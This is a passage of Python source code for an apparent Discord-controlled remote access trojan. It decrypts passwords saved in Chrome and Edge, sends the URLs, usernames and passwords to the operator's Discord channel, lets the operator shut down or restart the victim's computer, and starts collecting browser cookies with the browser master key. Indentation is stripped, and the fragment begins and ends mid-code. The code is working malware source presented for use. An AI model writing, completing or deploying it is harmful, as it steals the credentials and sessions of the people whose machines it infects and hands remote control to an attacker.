db_path = os.path.join(os.environ["USERPROFILE"], "AppData", "Local", "Google", "Chrome", "User Data", "default", "Login Data")
file_name = "ChromeData.db"
shutil.copyfile(db_path, file_name)
db = sqlite3.connect(file_name)
cursor = db.cursor()
cursor.execute("select origin_url, action_url, username_value, password_value, date_created, date_last_used from logins order by date_created")
result = {}
for row in cursor.fetchall():
action_url = row[1]
username = row[2]
password = decrypt_password_chrome(row[3], key)
if username or password:
result[action_url] = [username, password]
else:
continue
cursor.close(); db.close()
try:
os.remove(file_name)
except:
pass
return result
def grab_passwords():
file_name, nanoseconds = 116444736000000000, 10000000
try:
result = main()
except:
time.sleep(1)
try:
result2 = get_passwords_edge()
for i in result2.keys():
result[i] = result2[i]
except:
time.sleep(1)
return result
# Define the grab_password command
@bot.command()
async def grab_password(ctx):
passwords = grab_passwords()
# Format the passwords into a nice message
if passwords:
message = "``Here are the saved passwords:``\n"
for url, credentials in passwords.items():
username = credentials[0]
passwd = credentials[1]
message += f"```URL: {url}\nUsername: {username}\nPassword: {passwd}\n\n```"
else:
message = "No passwords found!"
await ctx.send(message)
# Command : RAT SHUTDOWN
@bot.command()
@commands.is_owner()
async def rat_down(ctx):
await ctx.send("``🔩 Shutting down...``")
await bot.close()
# Command : SYSTEM SHUTDOWN
@bot.command()
async def sys_shutdown(ctx):
await ctx.send("Shutting down...")
subprocess.call(["shutdown", "/s", "/t", "0"], shell=True)
# Command : SYSTEM RESTART
@bot.command()
async def sys_restart(ctx):
await ctx.send("Restarting...")
subprocess.run(["shutdown", "/r", "/t", "0"])
# Command : CLEAR
@bot.command()
@commands.is_owner()
async def clear(ctx, amount: int):
await ctx.channel.purge(limit=amount + 1)
await ctx.send(f"``Cleared {amount} messages 🗑️``", delete_after=3)
def grab_cookies(self):
for name, path in self.browsers.items():
if not os.path.isdir(path):
continue
self.masterkey = self.get_master_key(path + '\\Local State')
self.funcs = [
self.cookies
]